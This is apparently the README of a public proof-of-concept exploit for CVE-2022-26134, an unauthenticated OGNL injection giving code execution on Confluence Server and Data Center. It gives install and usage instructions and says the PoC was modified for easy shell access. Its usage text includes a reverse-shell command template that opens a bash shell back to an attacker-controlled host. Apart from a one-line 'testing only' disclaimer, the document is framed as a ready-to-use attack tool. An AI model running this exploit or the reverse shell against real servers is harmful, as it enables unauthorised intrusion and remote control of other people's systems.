keven1z/cve-2022-26134远程攻击者在Confluence未经身份验证的情况下，可构造OGNL表达式进行注入，实现在Confluence Server或Data Center上执行任意代码,在现有脚本上修改了poc，方便getshell。
Remote attackers, without authentication, can construct OGNL expressions for injection, achieving arbitrary code execution on Confluence Server or Data Center. Modified PoC for easy get shell. Common port: 8090
pip3 install requests
______ _______ ____ ___ ____ ____ ____ __ _ _____ _ _
/ ___\ \ / | ____| |___ \ / _ |___ \|___ \ |___ \ / /_ / |___ /| || |
| | \ \ / /| _| _____ __) | | | |__) | __) _____ __) | '_ \| | |_ \| || |_
| |___ \ V / | |__|_____/ __/| |_| / __/ / __|_____/ __/| (_) | |___) |__ _|
\____| \_/ |_____| |_____|\___|_____|_____| |_____|\___/|_|____/ |_|
usage: CVE-2022-26134.py [-h] -t TARGET -c COMMAND
CVE-2022-26134
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target URL
-c COMMAND, --command COMMAND
Execute command, get shell: /bin/bash -c bash -i >& /dev/tcp/{vps ip}/{vps port} 0>&1
python3 CVE-2022-26134.py -t [server ip] -c [command] // Execute command
This script is for testing purposes only, do not use for other purposes.